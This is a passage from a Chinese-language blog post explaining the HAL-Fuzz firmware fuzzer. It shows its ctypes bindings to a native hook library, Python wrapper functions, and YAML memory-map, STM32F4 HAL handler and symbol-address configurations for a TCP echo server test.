_setup_prototype(native_lib, <span class="string">"add_unmapped_mem_hook"</span>, ctypes.c_int, uc_engine)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># NVIC</span></span><br><span class="line"> <span class="comment"># extern uc_err init_nvic(uc_engine *uc, uint32_t vtor, uint32_t num_vectors, uint32_t is_oneshot)</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"init_nvic"</span>, ctypes.c_int, uc_engine, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint)</span><br><span class="line"> <span class="comment"># extern void nvic_set_pending(int num)</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"nvic_set_pending"</span>, ctypes.c_int, ctypes.c_int)</span><br><span class="line"> <span class="comment"># extern static void nvic_enter_exception(uc_engine *uc, uint32_t num)</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"nvic_enter_exception"</span>, ctypes.c_int, uc_engine, ctypes.c_uint)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment"># TIMER</span></span><br><span class="line"> <span class="comment"># extern uint64_t get_global_ticker();</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">'get_global_ticker'</span>, ctypes.c_int64)</span><br><span class="line"> <span class="comment"># extern uc_err init_timer_hook(uc_engine *uc, uint32_t global_timer_scale);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"init_timer_hook"</span>, ctypes.c_int, uc_engine, ctypes.c_uint)</span><br><span class="line"> <span class="comment"># extern uint32_t add_timer(int64_t reload_val, void *trigger_callback, uint32_t isr_num);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"add_timer"</span>, ctypes.c_int, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_uint32)</span><br><span class="line"> <span class="comment"># extern uc_err rem_timer(uint32_t id);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"rem_timer"</span>, ctypes.c_int, ctypes.c_uint32)</span><br><span class="line"> <span class="comment"># extern uc_err reset_timer(uint32_t id);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"reset_timer"</span>, ctypes.c_int, ctypes.c_uint32)</span><br><span class="line"> <span class="comment"># extern uc_err start_timer(uint32_t id);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"start_timer"</span>, ctypes.c_int, ctypes.c_uint32)</span><br><span class="line"> <span class="comment"># extern uint32_t is_running(uint32_t id)</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"is_running"</span>, ctypes.c_int, ctypes.c_uint32)</span><br><span class="line"> <span class="comment"># extern uc_err stop_timer(uint32_t id);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"stop_timer"</span>, ctypes.c_int, ctypes.c_uint32)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">assert</span> (native_lib.init(uc._uch, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>) == <span class="number">0</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure></blockquote><h2 id="关于native的大部分函数"><a href="#关于native的大部分函数" class="headerlink" title="关于native的大部分函数"></a>关于native的大部分函数</h2><p>这里的 native.load_fuzz 函数就是调用了native_lib.load_fuzz函数,实际上就是C语言写出的二进制文件native_hook.so里面带的函数的调用。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">load_fuzz</span>(<span class="params">file_path</span>):</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Loading fuzz from: {}"</span>.<span class="built_in">format</span>(file_path))</span><br><span class="line"> <span class="keyword">assert</span>(native_lib.load_fuzz(file_path.encode())==<span class="number">0</span>)</span><br><span class="line"> sys.stdout.flush()</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">init_nvic</span>(<span class="params">uc, vtor, num_vecs, is_oneshot=<span class="literal">False</span></span>):</span></span><br><span class="line"> <span class="keyword">global</span> native_lib</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Calling init_nvic with vtor=0x{:08x}, num_vecs: {}, is_oneshot: {}"</span>.<span class="built_in">format</span>(vtor, num_vecs, is_oneshot))</span><br><span class="line"> <span class="keyword">assert</span> ( native_lib.init_nvic(uc._uch, vtor, num_vecs, is_oneshot) == <span class="number">0</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="关于配置文件"><a href="#关于配置文件" class="headerlink" title="关于配置文件"></a>关于配置文件</h2><p>配置文件为/tests/stm32_tcp_echo/stm32_tcp_echo_server.yml,这个文件中include了另外三个配置文件,分别为:</p><p>/configs/hw/cortexm_memory.yml</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">memory_map:</span></span><br><span class="line"> <span class="attr">ram:</span> {<span class="attr">base_addr:</span> <span class="number">0x20000000</span>, <span class="attr">size:</span> <span class="number">0x00400000</span>, <span class="attr">permissions:</span> <span class="string">rwx</span>}</span><br><span class="line"> <span class="attr">mmio:</span> {<span class="attr">base_addr:</span> <span class="number">0x40000000</span>, <span class="attr">size:</span> <span class="number">0x10000000</span>, <span class="attr">permissions:</span> <span class="string">rw-</span>}</span><br><span class="line"> <span class="attr">nvic:</span> {<span class="attr">base_addr:</span> <span class="number">0xe0000000</span>, <span class="attr">size:</span> <span class="number">0x10000000</span>, <span class="attr">permissions:</span> <span class="string">rw-</span>}</span><br><span class="line"> <span class="attr">irq_ret:</span> {<span class="attr">base_addr:</span> <span class="number">0xfffff000</span>, <span class="attr">size:</span> <span class="number">0x1000</span>, <span class="attr">permissions:</span> <span class="string">rwx</span>} </span><br><span class="line"><span class="attr">initial_sp:</span> <span class="number">0x20014000</span></span><br></pre></td></tr></table></figure><p>/configs/hals/stm32f4_hal.yml</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">handlers:</span></span><br><span class="line"> <span class="attr">HAL_Init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_InitTick:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">SystemClock_Config:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">SystemInit:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_RCC_ClockConfig:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_RCC_OscConfig:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">HAL_PWREx_EnableOverDrive:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">HAL_SYSTICK_Config:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_base.systick_config</span></span><br><span class="line"> <span class="attr">HAL_SYSTICK_CLKSourceConfig:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">HAL_TIM_ConfigClockSource:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_TIMEx_MasterConfigSynchronization:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_TIM_Base_Start_IT:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_tim.tim_base_start_it</span></span><br><span class="line"> <span class="attr">HAL_TIM_Base_Stop_IT:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_tim.tim_base_stop_it</span></span><br><span class="line"> <span class="attr">HAL_TIM_IRQHandler:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_tim.tim_irq_handler</span></span><br><span class="line"> <span class="attr">HAL_Delay:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">delay_ms:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">HAL_TIM_PWM_Init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_TIMEx_MasterConfigSynchronization:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_TIM_PWM_ConfigChannel:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_TIM_PWM_Start:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_TIMEx_ConfigBreakDeadTime:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="attr">HAL_ETH_Init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">wifi_init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_wifi.wifi_init</span></span><br><span class="line"> <span class="attr">wifi_wakeup:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">Wifi_SysTick_Isr:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">Wifi_TIM_Handler:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_wifi.wifi_tim_handler</span></span><br><span class="line"> <span class="attr">wifi_socket_server_open:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_wifi.wifi_socket_server_open</span></span><br><span class="line"> <span class="attr">wifi_socket_server_write:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_wifi.wifi_socket_server_write</span></span><br><span class="line"> <span class="attr">wifi_ap_start:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">Receive_Data:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">UART_WaitOnFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">HAL_I2C_Init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_I2C_Mem_Read:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_i2c.HAL_I2C_Mem_Read</span></span><br><span class="line"> <span class="attr">HAL_I2C_Mem_Write:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">HAL_GPIO_Init:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">HAL_GPIO_WritePin:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">HAL_UART_Init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_UART_Receive_IT:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_uart.HAL_UART_Receive_IT</span></span><br><span class="line"> <span class="attr">HAL_UART_Transmit:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_uart.HAL_UART_Transmit</span></span><br><span class="line"> <span class="attr">HAL_UART_IRQHandler:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_uart.HAL_UART_IRQHandler</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">HAL_ADCEx_Calibration_Start:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>/tests/stm32_tcp_echo/stm32_tcp_echo_server_addrs.yml</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">architecture:</span> <span class="string">arm</span></span><br><span class="line"><span class="attr">base_address:</span> <span class="number">134217728</span></span><br><span class="line"><span class="attr">entry_point:</span> <span class="number">134222317</span></span><br><span class="line"><span class="attr">symbols:</span> {<span class="attr">134218333:</span> <span class="string">__aeabi_uldivmod</span>, <span class="attr">134219789:</span> <span class="string">memcpy</span>, <span class="attr">134222317:</span> <span class="string">Reset_Handler</span>,</span><br><span class="line"> <span class="attr">134222621:</span> <span class="string">_isatty</span>, <span class="attr">134222645:</span> <span class="string">_lseek</span>, <span class="attr">134222733:</span> <span class="string">User_notification</span>, <span class="attr">134222777:</span> <span class="string">ethernetif_notify_conn_changed</span>,</span><br><span class="line"> <span class="attr">134222885:</span> <span class="string">HAL_ETH_MspInit</span>, <span class="attr">134223349:</span> <span class="string">low_level_init</span>, <span class="attr">134223685:</span> <span class="string">low_level_output</span>,</span><br><span class="line"> <span class="attr">134224009:</span> <span class="string">low_level_input</span>, <span class="attr">134224365:</span> <span class="string">ethernetif_input</span>, <span class="attr">134224429:</span> <span class="string">ethernetif_init</span>,</span><br><span class="line"> <span class="attr">134224525:</span> <span class="string">sys_now</span>, <span class="attr">134224541:</span> <span class="string">ethernetif_set_link</span>, <span class="attr">134224625:</span> <span class="string">ethernetif_update_config</span>,</span><br><span class="line"> <span class="attr">134225089:</span> <span class="string">HAL_GPIO_EXTI_Callback</span>, <span class="attr">134225437:</span> <span class="string">SysTick_Handler</span>, <span class="attr">134225449:</span> <span class="string">EXTI9_5_IRQHandler</span>,</span><br><span class="line"> <span class="attr">134225465:</span> <span class="string">tcp_echoserver_init</span>, <span class="attr">134225577:</span> <span class="string">tcp_echoserver_accept</span>, <span class="attr">134225713:</span> <span class="string">tcp_echoserver_recv</span>,</span><br><span class="line"> <span class="attr">134226021:</span> <span class="string">tcp_echoserver_error</span>, <span class="attr">134226057:</span> <span class="string">tcp_echoserver_poll</span>, <span class="attr">134226153:</span> <span class="string">tcp_echoserver_sent</span>,</span><br><span class="line"> <span class="attr">134226237:</span> <span class="string">tcp_echoserver_send</span>, <span class="attr">134226405:</span> <span class="string">tcp_echoserver_connection_close</span>, <span class="attr">134226481:</span> <span class="string">__io_putchar</span>,</span><br><span class="line"> <span class="attr">134226929:</span> <span class="string">LCD_LOG_UpdateDisplay</span>, <span class="attr">134227201:</span> <span class="string">SystemInit</span>, <span class="attr">134227293:</span> <span class="string">HAL_Init</span>, <span class="attr">134227373:</span> <span class="string">HAL_InitTick</span>,</span><br><span class="line"> <span class="attr">134227469:</span> <span class="string">HAL_IncTick</span>, <span class="attr">134227505:</span> <span class="string">HAL_GetTick</span>, <span class="attr">134227529:</span> <span class="string">HAL_Delay</span>, <span class="attr">134227597:</span> <span class="string">NVIC_SetPriorityGrouping</span>,</span><br><span class="line"> <span class="attr">134227669:</span> <span class="string">NVIC_GetPriorityGrouping</span>, <span class="attr">134227697:</span> <span class="string">NVIC_EnableIRQ</span>, <span class="attr">134227745:</span> <span class="string">NVIC_SetPriority</span>,</span><br><span class="line"> <span class="attr">134227829:</span> <span class="string">NVIC_EncodePriority</span>, <span class="attr">134227929:</span> <span class="string">SysTick_Config</span>, <span class="attr">134227997:</span> <span class="string">HAL_NVIC_SetPriorityGrouping</span>,</span><br><span class="line"> <span class="attr">134228017:</span> <span class="string">HAL_NVIC_SetPriority</span>, <span class="attr">134228073:</span> <span class="string">HAL_NVIC_EnableIRQ</span>, <span class="attr">134228101:</span> <span class="string">HAL_SYSTICK_Config</span>,</span><br><span class="line"> <span class="attr">134228125:</span> <span class="string">HAL_ETH_Init</span>, <span class="attr">134228949:</span> <span class="string">HAL_ETH_DMATxDescListInit</span>, <span class="attr">134229161:</span> <span class="string">HAL_ETH_DMARxDescListInit</span>,</span><br><span class="line"> <span class="attr">134229381:</span> <span class="string">HAL_ETH_TransmitFrame</span>, <span class="attr">134229849:</span> <span class="string">HAL_ETH_GetReceivedFrame</span>, <span class="attr">134230117:</span> <span class="string">HAL_ETH_ReadPHYRegister</span>,</span><br><span class="line"> <span class="attr">134230325:</span> <span class="string">HAL_ETH_WritePHYRegister</span>, <span class="attr">134230529:</span> <span class="string">HAL_ETH_Start</span>, <span class="attr">134230625:</span> <span class="string">HAL_ETH_Stop</span>,</span><br><span class="line"> <span class="attr">134230721:</span> <span class="string">HAL_ETH_ConfigMAC</span>, <span class="attr">134231217:</span> <span class="string">ETH_MACDMAConfig</span>, <span class="attr">134232129:</span> <span class="string">ETH_MACAddressConfig</span>,</span><br><span class="line"> <span class="attr">134232237:</span> <span class="string">ETH_MACTransmissionEnable</span>, <span class="attr">134232293:</span> <span class="string">ETH_MACTransmissionDisable</span>, <span class="attr">134232349:</span> <span class="string">ETH_MACReceptionEnable</span>,</span><br><span class="line"> <span class="attr">134232405:</span> <span class="string">ETH_MACReceptionDisable</span>, <span class="attr">134232461:</span> <span class="string">ETH_DMATransmissionEnable</span>, <span class="attr">134232509:</span> <span class="string">ETH_DMATransmissionDisable</span>,</span><br><span class="line"> <span class="attr">134232557:</span> <span class="string">ETH_DMAReceptionEnable</span>, <span class="attr">134232605:</span> <span class="string">ETH_DMAReceptionDisable</span>, <span class="attr">134232653:</span> <span class="string">ETH_FlushTransmitFIFO</span>,</span><br><span class="line"> <span class="attr">134232733:</span> <span class="string">ETH_Delay</span>, <span class="attr">134232793:</span> <span class="string">HAL_GPIO_Init</span>, <span class="attr">134233637:</span> <span class="string">HAL_GPIO_WritePin</span>, <span class="attr">134233685:</span> <span class="string">HAL_GPIO_EXTI_IRQHandler</span>,</span><br><span class="line"> <span class="attr">134233733:</span> <span class="string">HAL_I2C_Init</span>, <span class="attr">134234181:</span> <span class="string">HAL_I2C_DeInit</span>, <span class="attr">134234277:</span> <span class="string">HAL_I2C_MspInit</span>,</span><br><span class="line"> <span class="attr">134234297:</span> <span class="string">HAL_I2C_MspDeInit</span>, <span class="attr">134234317:</span> <span class="string">HAL_I2C_Mem_Write</span>, <span class="attr">134234849:</span> <span class="string">HAL_I2C_Mem_Read</span>,</span><br><span class="line"> <span class="attr">134235973:</span> <span class="string">HAL_I2C_GetState</span>, <span class="attr">134236001:</span> <span class="string">I2C_RequestMemoryWrite</span>, <span class="attr">134236293:</span> <span class="string">I2C_RequestMemoryRead</span>,</span><br><span class="line"> <span class="attr">134236745:</span> <span class="string">I2C_WaitOnFlagUntilTimeout</span>, <span class="attr">134236909:</span> <span class="string">I2C_WaitOnMasterAddressFlagUntilTimeout</span>,</span><br><span class="line"> <span class="attr">134237129:</span> <span class="string">I2C_WaitOnTXEFlagUntilTimeout</span>, <span class="attr">134237253:</span> <span class="string">I2C_WaitOnBTFFlagUntilTimeout</span>,</span><br><span class="line"> <span class="attr">134237377:</span> <span class="string">I2C_WaitOnRXNEFlagUntilTimeout</span>, <span class="attr">134237525:</span> <span class="string">I2C_IsAcknowledgeFailed</span>, <span class="attr">134237605:</span> <span class="string">HAL_PWREx_EnableOverDrive</span>,</span><br><span class="line"> <span class="attr">134237761:</span> <span class="string">HAL_RCC_ClockConfig</span>, <span class="attr">134238213:</span> <span class="string">HAL_RCC_GetSysClockFreq</span>, <span class="attr">134238545:</span> <span class="string">HAL_RCC_GetHCLKFreq</span>,</span><br><span class="line"> <span class="attr">134238569:</span> <span class="string">HAL_RCC_GetPCLK1Freq</span>, <span class="attr">134238609:</span> <span class="string">HAL_RCC_OscConfig</span>, <span class="attr">134239761:</span> <span class="string">mfxstm32l152_Init</span>,</span><br><span class="line"> <span class="attr">134239849:</span> <span class="string">mfxstm32l152_DeInit</span>, <span class="attr">134239889:</span> <span class="string">mfxstm32l152_Reset</span>, <span class="attr">134239925:</span> <span class="string">mfxstm32l152_LowPower</span>,</span><br><span class="line"> <span class="attr">134239957:</span> <span class="string">mfxstm32l152_WakeUp</span>, <span class="attr">134240001:</span> <span class="string">mfxstm32l152_ReadID</span>, <span class="attr">134240181:</span> <span class="string">mfxstm32l152_GlobalITStatus</span>,</span><br><span class="line"> <span class="attr">134240225:</span> <span class="string">mfxstm32l152_ClearGlobalIT</span>, <span class="attr">134240413:</span> <span class="string">mfxstm32l152_IO_Start</span>, <span class="attr">134240501:</span> <span class="string">mfxstm32l152_IO_Config</span>,</span><br><span class="line"> <span class="attr">134242073:</span> <span class="string">mfxstm32l152_IO_InitPin</span>, <span class="attr">134242109:</span> <span class="string">mfxstm32l152_IO_SetIrqEvtMode</span>, <span class="attr">134242153:</span> <span class="string">mfxstm32l152_IO_SetIrqTypeMode</span>,</span><br><span class="line"> <span class="attr">134242197:</span> <span class="string">mfxstm32l152_IO_WritePin</span>, <span class="attr">134242257:</span> <span class="string">mfxstm32l152_IO_ReadPin</span>, <span class="attr">134242377:</span> <span class="string">mfxstm32l152_IO_DisableIT</span>,</span><br><span class="line"> <span class="attr">134242405:</span> <span class="string">mfxstm32l152_IO_EnablePinIT</span>, <span class="attr">134242437:</span> <span class="string">mfxstm32l152_IO_DisablePinIT</span>,</span><br><span class="line"> <span class="attr">134242469:</span> <span class="string">mfxstm32l152_IO_ITStatus</span>, <span class="attr">134242557:</span> <span class="string">mfxstm32l152_IO_ClearIT</span>, <span class="attr">134242653:</span> <span class="string">mfxstm32l152_TS_Start</span>,</span><br><span class="line"> <span class="attr">134242801:</span> <span class="string">mfxstm32l152_TS_DetectTouch</span>, <span class="attr">134242885:</span> <span class="string">mfxstm32l152_TS_GetXY</span>, <span class="attr">134243017:</span> <span class="string">mfxstm32l152_TS_DisableIT</span>,</span><br><span class="line"> <span class="attr">134243045:</span> <span class="string">mfxstm32l152_TS_ITStatus</span>, <span class="attr">134243077:</span> <span class="string">mfxstm32l152_TS_ClearIT</span>, <span class="attr">134243105:</span> <span class="string">mfxstm32l152_IDD_Start</span>,</span><br><span class="line"> <span class="attr">134243169:</span> <span class="string">mfxstm32l152_IDD_Config</span>, <span class="attr">134243929:</span> <span class="string">mfxstm32l152_IDD_GetValue</span>, <span class="attr">134244021:</span> <span class="string">mfxstm32l152_IDD_ClearIT</span>,</span><br><span class="line"> <span class="attr">134244049:</span> <span class="string">mfxstm32l152_IDD_GetITStatus</span>, <span class="attr">134244081:</span> <span class="string">mfxstm32l152_IDD_DisableIT</span>,</span><br><span class="line"> <span class="attr">134244109:</span> <span class="string">mfxstm32l152_Error_ReadSrc</span>, <span class="attr">134244145:</span> <span class="string">mfxstm32l152_Error_ReadMsg</span>, <span class="attr">134244213:</span> <span class="string">mfxstm32l152_Error_ClearIT</span>,</span><br><span class="line"> <span class="attr">134244241:</span> <span class="string">mfxstm32l152_Error_GetITStatus</span>, <span class="attr">134244273:</span> <span class="string">mfxstm32l152_Error_DisableIT</span>,</span><br><span class="line"> <span class="attr">134244301:</span> <span class="string">mfxstm32l152_GetInstance</span>, <span class="attr">134244369:</span> <span class="string">mfxstm32l152_ReleaseInstance</span>, <span class="attr">134244445:</span> <span class="string">mfxstm32l152_reg24_setPinValue</span>,</span><br><span class="line"> <span class="attr">134244713:</span> <span class="string">BSP_LED_Init</span>, <span class="attr">134244829:</span> <span class="string">BSP_LED_On</span>, <span class="attr">134244881:</span> <span class="string">BSP_LED_Off</span>, <span class="attr">134244933:</span> <span class="string">I2Cx_MspInit</span>,</span><br><span class="line"> <span class="attr">134245117:</span> <span class="string">I2Cx_Init</span>, <span class="attr">134245213:</span> <span class="string">I2Cx_Write</span>, <span class="attr">134245293:</span> <span class="string">I2Cx_Read</span>, <span class="attr">134245381:</span> <span class="string">I2Cx_ReadMultiple</span>,</span><br><span class="line"> <span class="attr">134245469:</span> <span 